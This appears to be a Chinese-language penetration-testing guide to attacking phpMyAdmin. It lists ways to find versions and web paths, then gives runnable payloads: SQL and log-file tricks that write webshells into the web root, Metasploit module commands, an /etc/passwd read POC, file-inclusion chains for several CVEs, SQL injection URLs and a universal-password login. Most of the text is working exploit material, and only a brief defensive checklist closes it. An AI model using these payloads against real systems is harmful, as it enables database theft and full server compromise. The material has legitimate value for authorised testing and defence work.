总结分析 | 基于phpmyadmin的渗透测试
字数 2739 2025-08-10 13:48:29
phpMyAdmin渗透测试全面指南
一、phpMyAdmin简介
phpMyAdmin是一个基于PHP的MySQL数据库管理工具,通过Web界面提供数据库管理功能:
- 允许管理员通过Web接口管理MySQL数据库
- 简化复杂SQL语法的输入
- 方便处理大量数据的导入导出
- 支持远程管理MySQL数据库
- 可创建常用PHP语法,方便编写网页时验证SQL语法
典型访问路径:
- http://example.com/phpmyadmin/
- http://example.com/pma/index.php
二、攻击phpMyAdmin的价值
攻击phpMyAdmin可获取:
- 网站数据库信息(用户数据、敏感数据、后台账号等)
- 通过执行任意代码实现对Web服务器的完全控制
三、常见攻击方法
3.1 常见漏洞类型
- 弱密码攻击:猜测或破解phpMyAdmin账户密码
- 过时版本漏洞:如phpMyAdmin 4.8.0和4.8.1的远程文件包含漏洞(CVE-2018-12613)
- 远程文件包含(RFI):包含远程恶意脚本
- 远程代码执行(RCE):如phpMyAdmin 4.8.1版本的RCE漏洞
3.2 Getshell方法
-
Select into Outfile
- 使用
SELECT ... INTO OUTFILE写入webshell - 需要条件:
- 数据库root权限
- 知道web绝对路径
- web路径可写
- 使用
-
日志文件操作
- 操作MySQL日志文件写入webshell
- 需要日志文件目录写权限和web绝对路径
-
新表方法
- 创建新表并插入webshell
- 使用
INTO OUTFILE写入文件
四、信息收集
4.1 版本信息获取
访问以下文件获取版本信息:
- readme.php
- changelog.php
- Change
- Documentation.html
- Documentation.txt
- translators.html
4.2 绝对路径获取方法
- phpinfo()页面直接显示web路径
- 通过fuzz尝试触发报错信息
- 集成web框架路径猜测(如phpstudy、LAMPP等)
- 查看数据库表内容获取配置文件路径
- 使用
show variables like '%datadir%';查看数据库路径反猜web路径 - 通过@@datadir参数查看MySQL路径
- 百度/Zoomeye/Shodan搜索error/warning信息
五、PhpMyAdmin Getshell技术
5.1 写入文件GetShell
前提条件:
- 数据库root权限
- 知道网站物理路径
- 数据库有写权限
检查写权限:
show variables like '%secure%';
- secure_file_priv为NULL:不可写文件
- secure_file_priv为空:可任意位置写文件
- secure_file_priv为目录路径:仅可在该目录写文件
5.1.1 直接写入文件
select "<?php phpinfo();?>" INTO OUTFILE "d:\\phpstudy\\www\\7.php"
注意使用双反斜线
5.1.2 通过日志文件写入
- 开启日志记录:
set global general_log = "ON";
- 查看当前日志目录:
show variables like 'general%';
- 指定日志文件:
set global general_log_file = "D:/phpStudy/WWW/gouwo.php";
- 写入执行代码:
select "<?php phpinfo();?>";
5.1.3 通过慢查询写入
- 查看慢查询日志目录:
show variables like '%slow%';
- 重新设置路径:
set GLOBAL slow_query_log_file='D:/phpStudy/WWW/gouwo2.php';
- 开启慢查询日志:
set GLOBAL slow_query_log=on;
- 执行写入日志:
select '<?php phpinfo();?>' from mysql.db where sleep(10);
5.2 MOF提权
适用于Windows <= 2003系统:
- 替换C:\Windows\System32\mof目录下的MOF文件
- 系统每5秒执行一次上传的MOF
使用Metasploit模块:
use exploit/windows/mysql/mysql_mof
set rhost 192.168.106.170
set rport 3306
set password root
set username root
exploit
六、PhpMyAdmin漏洞利用
6.1 WooYun-2016-199433:任意文件读取
影响版本:phpMyAdmin 2.x
POC:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
[...]
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
6.2 CVE-2014-8959:本地文件包含
影响范围:
- phpMyAdmin 4.0.1~4.2.12
- PHP < 5.3.4
POC:
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/tmp/sess_***%00
6.3 CVE-2016-5734:后台命令执行RCE
影响范围:
- phpMyAdmin 4.0.x < 4.0.10.16
- 4.4.x < 4.4.15.7
- 4.6.x < 4.6.3
- PHP 4.3.0~5.4.6
利用脚本:
cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
6.4 CVE-2018-12613:后台文件包含
影响版本:phpMyAdmin 4.8.0和4.8.1
利用步骤:
- 执行SQL写入PHP代码到Session文件:
select '<?php phpinfo();exit;?>'
- 包含session文件:
http://10.1.1.10/index.php?target=db_sql.php%253f/var/lib/php/sessions/sess_[COOKIE值]
6.5 CVE-2018-19968:任意文件包含/RCE
影响版本:phpMyAdmin 4.8.0~4.8.3
利用步骤:
- 创建数据库并写入PHP代码:
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY);
INSERT INTO foo.bar SELECT '<?php phpinfo();?>';
- 生成配置表:
http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
- 篡改数据插入pma column_info:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', 'plop', 'plop','/tmp/sess_[COOKIE值]','plop'
- 访问包含Session文件的地址:
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
6.6 CVE-2020-0554:后台SQL注入
影响版本:
- phpMyAdmin 4 < 4.9.4
- phpMyAdmin 5 < 5.0.1
前提:已知一个用户名密码
Payload示例:
http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=[TOKEN]&viewing_mode=server
报错注入Payload:
http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=[TOKEN]&viewing_mode=server
6.7 CVE-2019-12922:跨站请求伪造
影响版本:phpMyAdmin <= 4.9.0.1
利用方法:
- 在登录状态下添加服务器
- 通过CSRF触发删除操作
6.8 CVE-2017-1000499:跨站请求伪造
影响版本:phpMyAdmin 4.7.x < 4.7.7
POC示例:
<p>Hello World</p>
七、特殊版本GetShell
7.1 CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3
Metasploit模块:
use exploit/multi/http/phpmyadminpregreplace
7.2 CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
Metasploit模块:
use exploit/multi/http/phpmyadmin3522_backdoor
7.3 CVE-2009-1151
影响版本:
- 2.11.x < 2.11.9.5
- 3.x < 3.1.3.1
Metasploit模块:
use exploit/unix/webapp/phpmyadmin_config
7.4 弱口令&万能密码
- 弱口令:phpMyAdmin 2.11.9.2版本,可直接用root用户无密码登录
- 万能密码:2.11.3/2.11.4版本,使用用户名
'localhost'@'@"可登录成功
八、防御建议
- 及时更新phpMyAdmin到最新版本
- 使用强密码并定期更换
- 限制phpMyAdmin的访问IP
- 禁用不必要的PHP函数
- 配置正确的文件权限
- 监控和审计phpMyAdmin的访问日志
- 考虑使用替代的数据库管理工具
- 定期备份数据库
- 禁用phpMyAdmin的某些危险功能
- 使用HTTPS加密通信
通过全面了解这些攻击技术和防御措施,安全专业人员可以更好地保护phpMyAdmin安装,同时渗透测试人员可以更有效地评估系统的安全性。